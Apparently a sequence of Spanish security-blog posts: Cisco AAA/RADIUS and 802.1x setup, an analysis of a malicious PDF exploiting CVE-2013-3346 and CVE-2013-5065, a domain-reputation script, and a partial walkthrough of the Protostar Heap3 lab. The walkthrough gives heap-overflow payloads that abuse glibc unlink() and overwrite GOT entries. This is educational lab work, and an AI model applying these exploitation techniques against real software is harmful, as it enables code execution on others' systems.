Aplicación de AAA: Authentication, Authorization and Accounting (II)

Siguiendo con el post de ayer y tras ver las distintas funcionalidades que podemos configurar usando Radius como servidor AAA, podemos mejorar el sistema VPMS (Vlan Management Policy Server) visto en un post anterior, y poder autenticar los accesos a la red mediante el protocolo 802.1x, un estándar del IEEE para la autenticación de equipos conectados a una red mediante distintas tecnologías, de forma que se previene el acceso a la misma si la autenticación falla.

Para habilitar el protocolo 802.1x en nuestro dispositivo, primero debemos habilitar el servicio de forma global:


S2router(config)# dot1x system-auth-control

A continuación, activamos 802.1x en los puertos de acceso a red donde se conectan los usuarios. En nuestro caso simplemente una interfaz del router, pero seria extensible a un switch.


S2router(config)# interface fastethernet 0/1
S2router(config-if)# pae authenticator
S2router(config-if)# dot1x port-control auto

En este momento, el equipo conectado a dicho puerto perderá el acceso a red, posiblemente indicando un problema de autenticación.

El siguiente paso es configurar la autenticación 802.1x en el equipo cliente (en nuestro caso Windows XP), el cual, en estos momentos donde la autenticación ha fallado, podemos comprobar en el router que se encuentra en estado AUTHENTICATING ya que no se han proporcionado todavía las credenciales de acceso correctas:


S2router# show dot1x interface fastethernet0/1 details
PAE = AUTHENTICATOR
PortControl = AUTO
ReAuthentication = Enabled
ReAuthPeriod = 120 Seconds
ServerTimeout = 30 Seconds
SuppTimeout = 30 Seconds
QuietWhile = 120 Seconds
RateLimit = 0 Seconds
MaxReq = 2

Dot1x Client List
-------------------------------------
MAC Address State
-------------------------------------

0023.8bd7.c2b3 AUTHENTICATING

Para configurar el equipo cliente, dentro de la configuración de las propiedades de red, seleccionamos la pestaña Autenticación (debemos tener activado el servicio de autoconfiguración de redes cableadas), activando la autenticación 802.1x y seleccionando desafío MD5 como método de autenticación, ya que no disponemos de infraestructura PKI en nuestra configuración.

Tras activar esta opción, aparece una ventana de autenticación de acceso a red propia de Windows, donde indicamos el usuario y contraseña definidos en el servidor radius (juanito). No es necesario indicar dominio.

Una vez el sistema valida las credenciales, podemos ver el equipo autenticado:


S2router# show dot1x interface fastethernet0/1 details
PAE = AUTHENTICATOR
PortControl = AUTO
ReAuthentication = Disabled
ReAuthPeriod = 3600 Seconds
ServerTimeout = 30 Seconds
SuppTimeout = 30 Seconds
QuietWhile = 120 Seconds
RateLimit = 0 Seconds
MaxReq = 2

Dot1x Client List
-------------------------------------
MAC Address State
-------------------------------------

0023.8bd7.c2b3 AUTHENTICATED

Llegados a éste punto, el usuario final ya dispondría de acceso a la red con normalidad.

Esta solución es una medida de seguridad más a la hora de securizar nuestra red, y como siempre, debemos evaluar los pros y los contras de cada medida antes de ser implantada, tanto desde el punto de vista de seguridad, como desde el punto de vista de la transparencia de acceso del usuario, para que pueda realizar sus tareas diarias con normalidad.

Aplicación de AAA: Authentication, Authorization and Accounting

Recientemente, nuestro compañero Juan Manuel Sanz, ha publicado diversos artículos sobre el uso de servidores Radius como parte de una solución Wifi empresarial (ver I y II) Aparte de este uso, podemos usar Radius como servidor AAA (authentication, authorization and accounting) en nuestros dispositivos de red, como routers o switches, para el control de acceso a la misma. En este post, vamos a mostrar algunos ejemplos de uso de un servidor AAA.

El esquema de red que vamos a seguir es el siguiente:

En el esquema, podemos ver el router (Cisco 1800) como Autenticador, el servidor Freeradius como servidor de autenticación, y dos usuarios, un gestor de red que va a administrar el router por SSH y un usuario final del servicio.

Como pasos previos, vamos a configurar SSH como método de acceso al router y un usuario local del mismo (pepito):

router(config)# hostname  S2router                                                                                                                                    
S2router(config)# ip domain-name  s2grupo.es                                                                                                                          
S2router(config)# crypto key generate rsa 
## How many bits in the modulus [512]: 1024
S2router(config)# ip ssh time-out 60
S2router(config)# ip ssh authentication-retries 2
S2router(config)# aaa new-model
S2router(config)# line vty 0 4                                                                                                                                        
S2router(config-line)# transport input ssh    
S2router(config)# username pepito secret password    

Una vez configurado, podemos comprobar el acceso sin problemas al dispositivo:

PC$ ssh pepito@172.18.0.200
## Welcome ##
pepito@172.18.0.200's password: ******
S2router> 
 
S2router# show  ssh                                                                                                                                                   
Connection Version Mode Encryption  Hmac         State                 Username                                                                                      
0          2.0     IN   aes128-cbc  hmac-md5     Session started       pepito
0          2.0     OUT  aes128-cbc  hmac-md5     Session started       pepito                                                                                        
%No SSHv1 server connections running.     

Authentication

En nuestro primer punto, vamos a usar el servidor Radius (172.18.0.155) para autenticar los accesos por SSH para la gestión del router; para ello, usamos el usuario juanito definido previamente por Juan Manuel, en el fichero users de radius, no obstante, no usaremos certificados en nuestra configuración. Con el usuario ya definido, añadiremos un nuevo cliente al fichero clients.conf que se corresponderá con el router de nuestra infraestructura.

client 172.18.0.200 
{
secret = password
shortname = router
nasstype = cisco
}

A continuación, nos conectamos al dispositivo de red (por ejemplo mediante el usuario pepito) e indicamos que la autenticación va a usar el servidor radius. Para ello, seguimos los siguientes pasos:

1. Definimos el servidor radius:

S2router(config)# radius-server host 172.18.0.155 auth-port 1812 acct-port  1813 
S2router(config)# radius-server deadtime 15                                      
S2router(config)# radius-server key password   

2. Configuramos el método de autenticación. Es importante configurar varios métodos de autenticación por si no esta disponible alguno de ellos, no perder el acceso al dispositivo. En este caso, el segundo método de autenticación es la base de datos local del propio equipo:

S2router(config)# aaa authentication login USUARIOS group radius local   

3. Probamos el acceso desde la propia consola del dispositivo:

S2router#test aaa group radius juanito password  legacy   
                                                                                                         
Attempting authentication test to server-group radius using radius                                                                                                   
User was successfully authenticated.     

4. Configuramos el acceso al dispositivo por SSH autenticando mediante radius:

S2router(config)# line vty 0 4                                                                                                                                    
S2router(config-line)# login authentication USUARIOS        

5. Probamos el acceso desde el exterior por SSH:

PC$ ssh juanito@172.18.0.200
## Welcome ##
juanito@172.18.0.200's password: ******
S2router> 

S2router# show  ssh                                                                                                                                                   
Connection Version Mode Encryption  Hmac         State                 Username                                                                                      
0          2.0     IN   aes128-cbc  hmac-md5     Session started       juanito                                                                                       
0          2.0     OUT  aes128-cbc  hmac-md5     Session started       juanito                                                                                       
%No SSHv1 server connections running.    

Como se puede apreciar, accedemos correctamente y podemos ver log de radius para confirmarlo:

rad_recv: Access-Request packet from host 172.18.0.200 port 1645, id=17, length=99
        User-Name = "juanito"
        Reply-Message = "Password: "
        User-Password = "password"
        NAS-Port = 194
        NAS-Port-Id = "tty194"
        NAS-Port-Type = Virtual
        Calling-Station-Id = "172.18.0.150"
        NAS-IP-Address = 172.18.0.200
# Executing section authorize from file /etc/freeradius/sites-enabled/default
+- entering group authorize {...}
++[preprocess] returns ok
++[chap] returns noop
++[mschap] returns noop
++[digest] returns noop
[suffix] No '@' in User-Name = "juanito", looking up realm NULL
[suffix] No such realm "NULL"
++[suffix] returns noop
[eap] No EAP-Message, not doing EAP
++[eap] returns noop
[files] users: Matched entry juanito at line 205
++[files] returns ok
++[expiration] returns noop
++[logintime] returns noop
++[pap] returns updated
Found Auth-Type = PAP
# Executing group from file /etc/freeradius/sites-enabled/default
+- entering group PAP {...}
[pap] login attempt with password "password"
[pap] Using clear text password "password"
[pap] User authenticated successfully
++[pap] returns ok
# Executing section post-auth from file /etc/freeradius/sites-enabled/default
+- entering group post-auth {...}
++[exec] returns noop
Sending Access-Accept of id 17 to 172.18.0.200 port 1645
        Service-Type = NAS-Prompt-User
Finished request 0.
Going to the next request
Waking up in 4.9 seconds.
Cleaning up request 0 ID 17 with timestamp +10
Ready to process requests.

En este punto, el usuario juanito accede sin problemas pero pepito no, ya que no dispone de usuario dado de alta en el servidor radius, no obstante, si detenemos el servidor radius, pepito accederá pero juanito no, ya que usaremos la base de datos local del dispositivo, por eso, es importante disponer de varios métodos de autenticación.

Habitualmente, el acceso a la gestión de los dispositivos suele basarse en usuarios locales debido a que no debería existir demasiadas personas que gestionen el dispositivo, no obstante, podríamos usar el mismo ejemplo para validar usuarios y grupos de acceso VPN.

Authorization

La siguiente funcionalidad sería, para usuarios autenticados, poder autorizar que acciones puede realizar, por ejemplo, que comandos tienen disponibles para ejecutar en el dispositivo. Para nuestro escenario inicial, el usuario juanito no dispone de privilegios de administración del dispositivo:

PC$ ssh juanito@172.18.0.200
## Welcome ##
juanito@172.18.0.200's password: ******
S2router> show running-config
           ^ 
% Invalid input detected at '^' marker.

No obstante podemos definir permisos para un nivel de privilegios concretos y luego indicarle al servidor radius que asocie a un usuario a dicho nivel.

Primero, definimos permisos para el nivel 3 de privilegios del sistema:

S2router(config)# privilege  exec  level  3 show running-config                                                                                                       
S2router(config)# privilege exec level 3 configure terminal                                                                                                           
S2router(config)# privilege configure all level 3 interface     

Con estos comandos, juanito, como operador de red, podría gestionar las interfaces de red y ver su configuración en el dispositivo. A continuación, definimos que el equipo use radius como sistema de autorización, al igual que hicimos en el apartado anterior:

S2router(config)# aaa authorization exec USUARIOS group radius local            

Finalmente, lo asociamos el servidor de autorización a la conexión remota al dispositivo:

S2router(config)# line vty 0 4
S2router(config-ine )# authorization exec USUARIOS   

Una vez configurado el dispositivo, modificamos la definición del usuario juanito indicando parámetros adicionales para su autorización para que disponga de privilegios de nivel 3:

juanito Cleartext-Password := "password"
        Service-Type = NAS-Prompt-User,
        Cisco-AVPair += "shell:priv-lvl=3",

De forma que la próxima vez que accede al dispositivo, ya se le aplicarán los nuevos permisos configurados:

PC$ ssh juanito@172.18.0.200
## Welcome ##
juanito@172.18.0.200's password: ******

S2router# show  privilege 
Current privilege level is 3

S2router# show running-config
Building configuration...
-----

Como podemos ver, el prompt de usuario ha cambiado con respecto al punto anterior.

Accounting

La última opción es la de accounting. Personalmente, de las tres funcionalidades que hemos visto, ésta es la que menos he usado. También hay que tener en cuenta que hay algunos comandos en los dispositivos Cisco que no funcionan con servidores radius (por ejemplo el accounting de commands), sino que sólo se pueden configurar usando un servidor AAA tacacs+.

Para este apartado, la configuración será similar a la configurada anteriormente: hay que definir radius dentro de la configuración de accounting. Para nuestro ejemplo, definimos algunas opciones de accounting de acceso remoto:

S2router(config)# aaa accounting send stop-record authentication failure 
S2router(config)# aaa accounting update periodic 1
S2router(config)# aaa accounting exec USUARIOS start-stop group radius
S2router(config)# aaa accounting network USUARIOS start-stop group radius

A continuación, aplicamos accounting para las conexiones remotas:

S2router(config)#line vty 0 4
S2router(config-line)# accounting exec USUARIOS

Ahora, al conectar al dispositivo, se registra un log de accesos, donde podemos ver información de los accesos remotos como el login de usuario, hora de conexión, dirección IP origen, etc.

PC# more /var/log/freeradius/radacct/172.18.0.200/detail-20131204 

Wed Dec  4 11:31:04 2013
        Acct-Session-Id = "00000048"
        User-Name = "juanito"
        Acct-Authentic = RADIUS
        Acct-Status-Type = Start
        NAS-Port = 194
        NAS-Port-Id = "tty194"
        NAS-Port-Type = Virtual
        Calling-Station-Id = "172.18.0.150"
        Service-Type = NAS-Prompt-User
        NAS-IP-Address = 172.18.0.200
        Acct-Delay-Time = 0
        Acct-Unique-Session-Id = "245d0d9d5afc1a35"
        Timestamp = 1386153064
        Request-Authenticator = Verified

Una solución de accounting sería útil por ejemplo, en un router con funcionalidades de gateway de voz, para llevar registro de llamadas y poder realizar una facturación posterior.

Análisis y extracción de PDF.Exploit/CVE-2013-5065

Recientemente se informó de una vulnerabilidad 0-day en el kernel de Windows XP que estaba siendo explotada activamente. Esta vulnerabilidad estaba siendo aprovechada utilizando código malicioso dentro de un archivo PDF, que se apoyaba en otra vulnerabilidad para comprometer el sistema.

Aprovechando que el otro día estuvimos viendo cómo utilizar peepdf para analizar y extraer código JavaScript y shellcode de un archivo PDF malicioso, voy a describir en este artículo el análisis que realicé de este archivo con peepdf y otras herramientas utilizadas hasta extraer el exploit que está siendo utilizado en la última vulnerabilidad para Windows XP.

Análisis del PDF
Lo primero que hacemos es abrir el archivo PDF y analizar su estructura

offsets…

y la estructura de árbol

A partir de la información anterior vemos que hay código JavaScript en el objeto 3, que se ejecuta automáticamente cuando se abre el archivo. Veamos qué pinta tiene:

Se observa que, efectivamente se trata de código JavaScript pero éste está ofuscado y, como veremos, nos va a costar descifrarlo un poco. Si guardamos el código en una variable y aplicamos el comando js_beatufy, obtendremos un código un poco más legible:

La verdad es que sigue igual de ofuscado y con peepdf no se ha podido extraer más información sobre él. Ahora utilizaremos Firebug para examinarlo aunque para poder mostrarlo correctamente vamos a hacer unas pequeñas modificaciones, por lo que lo volcamos a un fichero y seguimos con el análisis. La última línea de código parece una llamada a una función dentro de otra llamada a la misma función donde se le pasa ese código ininteligible, así que vamos a pasar ese código a la función Q.$() y la almacenamos en una variable arg1. A continuación, pasamos arg1 de nuevo a la misma función y la almacenamos en arg2. Esto lo hacemos para detener el código en tiempo de ejecución y poder ver qué es ese código desofuscado.

Abrimos el código con Firebug e insertamos un breakpoint en la última llamada y vemos el valor del código resultante:

El código, ahora sí, es legible y bastante explícito, ya que comienza definiendo una variable llamada “shellcode”. Además de la definición del shellcode, comprueba la versión de Adobe Reader (versiones 9, 10 u 11) para añadir el ROP adecuado para cada versión.

Posteriormente llama a la función heapSpray para, como su nombre indica, inyectar el shellcode en la memoria.

Finalmente llama a la función addToolButton de Adobe:

Buscando información sobre esta función, vemos que existe una vulnerabilidad en algunas versiones de Adobe Reader donde dichas funciones podrían ser aprovechadas para ejecutar código (ver CVE-2013-3346).

Aprovechando esa vulnerabilidad se consigue ejecutar el shellcode descrito en este código así que pasamos a examinar qué hace este shellcode.

Análisis con scdbg

Cargamos el código en scdbg y lo ejecutamos. Observamos que crea un archivo SHELLC~1.drop_0 y se queda a la espera, buscando un descriptor de archivo (esto ocurre porque intenta leer un archivo que no existe).

Pensamos que el archivo que podría estar buscando es el propio PDF, desde el que el exploit está siendo ejecutado, así que vamos a indicarle la ruta del archivo que tiene que abrir con el parámetro fopen, que devuelve como descriptor de fichero el archivo indicado.

Ahora vemos que deja otro archivo en la misma ubicación con el nombre SHELLC~1.drop_1 e intenta ejectuar otro archivo creado en C:\Documents and Settings\Administrador\Configuración local\Temp con el nombre 4.tmp (en este caso). Este último está vacío por lo que entiendo que el que trata de ejecutar es SHELLC~1.drop_1 así que vamos a abrirlo para ver qué contiene y vemos que se trata de un ejecutable.

Este último archivo descargado es el exploit que aprovecharía la vulnerabilidad CVE/2013-5065. A partir de este punto tendríamos que analizarlo para ver cómo aprovecha la vulnerabilidad y qué trata de realizar.

Hay más información sobre el análisis de este archivo en los siguientes enlaces:
http://www.fireeye.com/blog/technical/cyber-exploits/2013/12/cve-2013-33465065-technical-analysis.html

http://www.invincea.com/2013/12/e-k-i-a-adobe-reader-exploit-cve-2013-3346-kernel-ndproxy-sys-zero-day-eop/
http://labs.portcullis.co.uk/blog/cve-2013-5065-ndproxy-array-indexing-error-unpatched-vulnerability/

Comprobación de la reputación Web para gestión de incidentes

A veces cuando nos enfrentamos a un incidente, alrededor de él hay demasiados dominios que comprobar como para hacerlo manualmente. Para poder manejarlos y hacer una discriminación en primera instancia, he desarrollado un pequeño script que comprueba la reputación de cada dominio utilizando la API de Web of Trust.

Web of Trust es un servicio que se usa para marcar páginas web dependiendo de su reputación. La reputación se basa en distintos factores. Uno de ellos depende de la presencia de malware, pero hay otros, como una puntuación basada en los votos de los usuarios.

Una de las cosas que más me gusta de la API de WoT es que devuelve diferentes códigos dependiendo de la razón por la que no tiene una buena reputación. Por ejemplo, si la razón por la que tiene mala reputación es debida a que el sitio contiene material para adultos, devolverá el código 401, mientras que si contiene malware, devolverá 101. Esto viene bien para gestionar algunos incidentes, ya que, en la mayoría de los casos, si un dominio tiene una mala reputación porque es una página para adultos, y sólo por eso, en una primera investigación, se podría dejar como un dominio legítimo.

Para usar el script, sólo necesitáis registraros en WoT, conseguir una clave de la API e introducir la clave en la línea:

WOT_API_KEY = "YOUR_OWN_API_KEY!!!"

Puedes encontrar el script en mi repositorio de Github.

Por último, vamos a probar el script. Para ello, necesitaremos un fichero con la lista de dominios que queremos comprobar. En el ejemplo utilizaremos un fichero que he llamado domains.txt y que contiene los siguientes dominios:

4chan.org
silurian.cn
securityartwork.es
mtgmadness.com

Para lanzar el script solo hay que pasarle el fichero con la lista de dominios a comprobar:

xgusix@ender:~$ python repcrawler.py domains.txt 
[*] mtgmadness.com
	Target: mtgmadness.com
[*] 4chan.org
	Target: 4chan.org
	Trustworthiness: Excellent [59]
	Child safety: Very Poor [53]
	[*] Categories:
		[403] Questionable Gruesome or shocking [14]
		[401] Negative Adult content [73]
		[501] Positive Good site [59]
[*] securityartwork.es
	Trustworthiness: Good [7]
	Target: securityartwork.es
	[*] Categories:
		[501] Positive Good site [7]
[*] silurian.cn
	Target: silurian.cn
	Trustworthiness: Very Poor [12]
	[*] Categories:
		[101] Negative Malware or viruses [30]

Como podéis ver, al comienzo de la investigación, podemos descartar 4chan.org y securityartwork.es, ya que están marcadas como “Good site” y su confianza (Trustworthiness) es por lo menos Good. Mtgmadness.com no está marcado, por lo que tendríamos que continuar con la investigación de estos dominios. En el último caso, silurian.cn, ya está marcada como dominio malintencionado, “Malware or viruses”, por lo que sería un buen punto de partida para la investigación.

Ahora mismo, el script muestra todos los resultados, pero con una modificación muy simple se le puede añadir algo de lógica y automatizar un poco más el proceso. Tengo planeado añadir más motores de reputación al script. Con más fuentes la discriminación será más efectiva y ahorrará tiempo en el proceso de la gestión del incidente.

Los comentarios y valoraciones son bienvenidos.

Resolución al ejercicio Heap03 de exploit-exercises.com

Hace ya algún tiempo vi por Twitter a @esanfelix que hacía referencia a una máquina virtual de ejercicios de exploiting y tomé nota de la dirección para cuando encontrara un hueco. Al final este verano encontré pequeños huecos para ir haciendo los ejercicios y os tengo que decir que la experiencia después de haber hecho los ejercicios de la versión protostar es altamente recomendable. Ahora mismo estoy empezando los ejercicios de la versión máquina virtual fusion y el objetivo es hacer todos los que el tiempo libre me permita ;-).

En esta primera entrada sobre esta temática, que espero que no sea la única, me gustaría contaros cómo resolver el ejercicio de título “Heap3” de la máquina virtual protostar, sobre todo intentando contar aquellas cosas que he tenido que investigar y aprender. El objetivo de este ejercicio es explotar una vulnerabilidad en el algoritmo de reserva de memoria dinámica implementado en la librería glibc (ptmalloc). Antes de empezar con los detalles comentar que he usado de guía para resolverlo la entrada del blog kroosec [3] y para entender las técnicas utilizadas ha sido vital el paper de Newlog_ [1] y el libro de blackngel [2]. De hecho decir que blackngel resuelve justo este ejercicio. Mi granito de arena en este caso es complementar su resolución con cosas que para un exploiter experimentado son obvias, pero que para alguien menos experimentado en este campo pueden venirle bien (o eso espero).

Tras situarnos vamos a empezar con la resolución paso a paso. Lo primero de todo es analizar el código que tendremos que explotar:

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

void winner()
{
    	printf("that wasn't too bad now, was it? @ %d\n", time(NULL));
}

int main(int argc, char **argv)
{
    	char *a, *b, *c;

    	a = malloc(32);
    	b = malloc(32);
    	c = malloc(32);

    	strcpy(a, argv[1]);
    	strcpy(b, argv[2]);
    	strcpy(c, argv[3]);

    	free(c);
    	free(b);
    	free(a);

    	printf("dynamite failed?\n");
}

Como vemos es un programa sencillo donde se crean tres variables de 32 bytes y se copia dentro de ellas lo que le pasemos como argumento al programa. Entonces para resolver el ejercicio tenemos que ejecutar la función winner(), que como vemos no se llama desde la función main y al conseguir ejecutarla habremos cambiado el flujo del programa. Es necesario aclarar, que la librería glibc que utiliza el binario “/opt/protostar/bin/heap3” de la máquina virtual es antigua y por lo tanto tiene vulnerabilidades que en versiones recientes ya no existen.

Viendo que hay tres free() seguidos, que utiliza una versión antigua de la librería glibc y la pista que hay en el enunciado del ejercicio, uno ya va viendo que se trata de aprovechar la vulnerabilidad de la macro unlink() cuando se libere memoria con la función free(). Para entender la vulnerabilidad de la macro unlink() os aconsejo revisar el paper de Newlog desde la página 32 a la 39. Siento poneros un puntero a este paper y no hacerlo autocontenido, pero está muy bien explicado y en castellano, así que merece la pena que saltéis y hagáis un ret cuando acabéis. Importante es tener siempre en mente la estructura de datos de un fragmento de memoria reservado y libre (lo que llaman “chunk”).

Entendido el objetivo del ejercicio, vamos a ir viendo paso a paso la ejecución del programa y cómo aprovechar la vulnerabilidad. Lo primero que vamos a ver es lo que pasa cuando se ejecuta de manera normal el binario con tres argumentos:

La memoria presenta el aspecto del dibujo anterior, con los campos “prev_size” y “size” rellenos y los datos de usuario en el campo “user data”, y como vemos las tres reservas se sitúan contiguas en memoria.

Como es obvio, a la vista del dibujo anterior, si se produce un desbordamiento del campo “user data” del fragmento a o b, se sobrescribirán las secciones de control del siguiente bloque de memoria. Viendo esta ejecución sin overflow desde un debugger como GDB, veremos el estado de la memoria una vez se ha reservado con los diferentes malloc() y se han copiado los argumentos en los espacio de memoria reservada con las funciones strcpy(). Lo que vamos a examinar en memoria es dónde están las variables y para ello debemos saber la dirección de las variables a, b, c en la memoria. Para esto tenemos que mirar el registro EAX cuando finalice el malloc(), obteniendo estos punteros:

?	a is at 0x804c008
?	b is at 0x804c030
?	c is at 0x804c058

Veamos un ejemplo de cómo localizar el puntero de la variable c:

(gdb) ni
0x080488b9	18	in heap3/heap3.c
1: x/3i $pc
0x80488b9 <main+48>:	call   0x8048ff2 <malloc> <- lanzamos el malloc
0x80488be <main+53>:	mov    %eax,0x1c(%esp)
0x80488c2 <main+57>:	mov    0xc(%ebp),%eax
(gdb) ni
0x080488be	18	in heap3/heap3.c
1: x/3i $pc
0x80488be <main+53>:	mov    %eax,0x1c(%esp)
0x80488c2 <main+57>:	mov    0xc(%ebp),%eax
0x80488c5 <main+60>:	add    $0x4,%eax
(gdb) i r 
eax            0x804c058	134529112    <- Variable c
ecx            0xf88	3976
edx            0xf89	3977
ebx            0xb7fd7ff4	-1208123404
esp            0xbffff770	0xbffff770
ebp            0xbffff798	0xbffff798
esi            0x0	0
edi            0x0	0
eip            0x80488be	0x80488be <main+53>
eflags         0x200286	[ PF SF IF ID ]
cs             0x73	115
ss             0x7b	123
ds             0x7b	123
es             0x7b	123
fs             0x0	0
gs             0x33	51

Ahora sí, vamos a examinar la memoria de una ejecución normal del programa y ver las variables:

# Colocamos el breakpoint en la línea 24 que es justo antes del primer free()
(gdb) break 24
(gdb) run AAAAAAAA BBBBBBBB CCCCCCCC
# Una vez se para examinamos la memoria
(gdb) x/34x 0x804c000
0x804c000:	0x00000000	0x00000029	0x41414141	0x41414141
0x804c010:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c020:	0x00000000	0x00000000	0x00000000	0x00000029
0x804c030:	0x42424242	0x42424242	0x00000000	0x00000000
0x804c040:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c050:	0x00000000	0x00000029	0x43434343	0x43434343
0x804c060:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c070:	0x00000000	0x00000000	0x00000000	0x00000f89
0x804c080:	0x00000000	0x00000000

Lo que está en rojo son los datos de control y lo que está en azul son los datos de usuario. Después de ejecutarse los tres free(), la memoria tendrá el siguiente aspecto:

0x804c000:	0x00000000	0x00000029	0x0804c028	0x41414141
0x804c010:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c020:	0x00000000	0x00000000	0x00000000	0x00000029
0x804c030:	0x0804c050	0x42424242	0x00000000	0x00000000
0x804c040:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c050:	0x00000000	0x00000029	0x00000000	0x43434343
0x804c060:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c070:	0x00000000	0x00000000	0x00000000	0x00000f89
0x804c080:	0x00000000	0x00000000

En la memoria vemos como cuando se realiza el free(b) se coloca el puntero al siguiente bloque libre que es 0x0804c050, que se corresponde con el espacio de memoria liberado cuando se ha hecho el free(c). De igual forma, cuando se realiza free(a) se coloca el puntero al siguiente bloque libre, 0x0804c028, resultado de hacer free(b).

Ya hemos visto el comportamiento cuando se realiza una ejecución normal, ahora nos toca ver qué sucede cuando se introducen más de 32 bytes en el segundo argumento para sobrescribir los campos “prev_size” y “size” del fragmento de memoria de la variable c. Para esto haremos:

(gdb) run `python -c "print 'A'*8+' '+'B'*32+'E'*5+'E'*4+' '+'C'*8"`
(gdb) x/34x 0x804c000
0x804c000:	0x00000000	0x00000029	0x41414141	0x41414141
0x804c010:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c020:	0x00000000	0x00000000	0x00000000	0x00000029
0x804c030:	0x42424242 	0x42424242	0x42424242	0x42424242
0x804c040:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c050:	0x45454545	0x45454545	0x43434343	0x43434343
0x804c060:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c070:	0x00000000	0x00000000	0x00000000	0x00000f89
0x804c080:	0x00000000 	0x00000000

Como vemos la memoria en la dirección 0x0804c050 muestra cómo hemos conseguido sobrescribir los campos “prev_size” y “size” del último fragmento, con el valor hexadecimal de la letra ‘E’.

Con el control sobre “prev_size” y “size” tenemos que ver qué valor introducimos para tomar el control. En blog kroosec [3] vemos cómo introducen un valor de -5 y un valor de -4. A continuación explicamos el porqué de estos valores. Aún así, si no queda del todo claro recomiendo leer el capítulo del heap del libro de blackngel [2], ya que allí lo explica muy bien.

Lo primero tal y como nos cuenta @newlog_ en su paper [1] es que una de las ventajas de utilizar valores negativos es que no introduciremos bytes nulos, con lo que nos evitamos los problemas derivados de los bytes nulos.

Después dado que controlamos el campo “size”, vamos a modificar su valor para que se ejecute la macro unlink() y escribir 4 bytes donde nosotros queramos, aprovechando con esto la vulnerabilidad de unlink(). Recordemos que para saber si se debe ejecutar la macro unlink() o no el algoritmo consulta el campo “size” del siguiente fragmento para ver si el último bit está puesto a 0. Por tanto si queremos activar la macro unlink() el último bit de size debe estar a cero.

Al fijar el valor de “prev_size” a -5 y el de “size” a -4 lo que hacemos es crear un cuarto fragmento falso y activar macro unlink(). Vamos a intentar explicar cómo estos dos valores negativos consiguen lo que acabamos de decir. Como indica la documentación, para ver dónde está el siguiente fragmento se utiliza el campo size como offset. Centrándonos en nuestro caso el fragmento [c] tiene en el campo size, después de sobrescribir su valor con el overflow, el valor -4. El campo size se usa como offset para saber dónde está el inicio del siguiente fragmento. En este caso cogerá el inicio del fragmento [c] y le restará 4, obteniendo que el inicio del fragmento ficticio [d] estará en el final del fragmento (b). Veamos gráficamente que implica un valor de -4 en el campo size:

Si nos fijamos en la imagen de arriba, tenemos un nuevo fragmento (d), donde el campo size de este fragmento coincide con el prev_size del fragmento [c] y el campo prev_size de d está contenido en el campo “user data” de b. Entonces el valor que activará la macro unlink() es el valor de prev_size del fragmento c, que será el size del fragmento ficticio que hemos bautizado como d.

Cuando el algoritmo compruebe el campo “size” del fragmento (d) se encontrará con el valor (-5) cuyo valor hexadecimal es: FF FF FF F8 y viendo su valor binario vemos que el último bit (PREV_INUSE) activa unlink() ya que vale 0:

1111 1111 1111 1111 1111 1111 1111 0100 = FF FF FF F8

Vamos a ejecutar el programa con los valores que acabamos de mencionar (-4 y -5) y veamos la memoria y los registros:

(gdb) run A `python -c "print 'B'*32 + '\xf8\xff\xff\xff' + 
   '\xfc\xff\xff\xff' + 'A'*8 + 'B'*4 + 'C'*4"` C

Una vez ejecutado este comando si vemos lo que tienen los registros nos encontraremos con:

(gdb) i r
eax            0x42424242	1111638594
ecx            0x0	0
edx            0x43434343	1128481603
ebx            0xb7fd7ff4	-1208123404
esp            0xbffff6e0	0xbffff6e0
ebp            0xbffff728	0xbffff728
esi            0x0	0
edi            0x0	0
eip            0x80498fd	0x80498fd <free+217>
eflags         0x210202	[ IF RF ID ]
cs             0x73	115
ss             0x7b	123
ds             0x7b	123
es             0x7b	123
fs             0x0	0
gs             0x33	51

Y si observamos la instrucción que hay cargada en $eip , tenemos que:

0x80498fd <free+217>:	mov    %edx,0xc(%eax)

Esta instrucción mueve lo que hay en %edx a %eax+12. Y como vemos arriba son los elementos que controlamos al sobrescribir.

En este punto, ya sabemos cómo escribir 4 bytes donde nosotros queramos. Entonces, para ejecutar nuestro shellcode lo que vamos a hacer es sobrescribir una de las direcciones de alguna función que esté en la tabla GOT (Global Offset Table), con lo que cuando se ejecute esa función ejecutará la dirección que nosotros hemos puesto y por tanto nuestro shellcode.

Para empezar examinamos la tabla dinámica:

user@protostar:/opt/protostar/bin$ objdump -R ./heap3 

./heap3:     file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE 
0804b0e4 R_386_GLOB_DAT    __gmon_start__
0804b140 R_386_COPY        stderr
0804b0f4 R_386_JUMP_SLOT   __errno_location
0804b0f8 R_386_JUMP_SLOT   mmap
0804b0fc R_386_JUMP_SLOT   sysconf
0804b100 R_386_JUMP_SLOT   __gmon_start__
0804b104 R_386_JUMP_SLOT   mremap
0804b108 R_386_JUMP_SLOT   memset
0804b10c R_386_JUMP_SLOT   __libc_start_main
0804b110 R_386_JUMP_SLOT   sbrk
0804b114 R_386_JUMP_SLOT   memcpy
0804b118 R_386_JUMP_SLOT   strcpy
0804b11c R_386_JUMP_SLOT   printf
0804b120 R_386_JUMP_SLOT   fprintf
0804b124 R_386_JUMP_SLOT   time
0804b128 R_386_JUMP_SLOT   puts
0804b12c R_386_JUMP_SLOT   munmap

Entonces nuestro objetivo va a ser poner aquí la dirección de nuestro shellcode o de lo que queremos ejecutar. Entonces lo primero que pensamos para resolver el ejercicio es poner aquí la dirección de la función winner() que obtenemos así:

$ nm /opt/protostar/bin/heap3
08048864 T winner

La idea, como ya hemos adelantado, es ubicar en la dirección 0x0804b128-12 el valor 0x08048864 y así cuando vaya a ejecutar la función puts() ejecutará la función winner().

Obtenemos el valor:
>>> print hex(0x0804b128-12)
0x804b11c
>>> 

Probemos a ver con estos dos valores y a ver si conseguimos ejecutar la función winner():

(gdb) run A `python -c "print 'B'*32 + '\xfb\xff\xff\xff' + 
   '\xfc\xff\xff\xff'+ 'A'*5 + '\x1c\xb1\x04\x08' + '\x64\x88\x04\x08'"` C

Program received signal SIGSEGV, Segmentation fault.
0x08049906 in free (mem=0x804c058) at common/malloc.c:3638
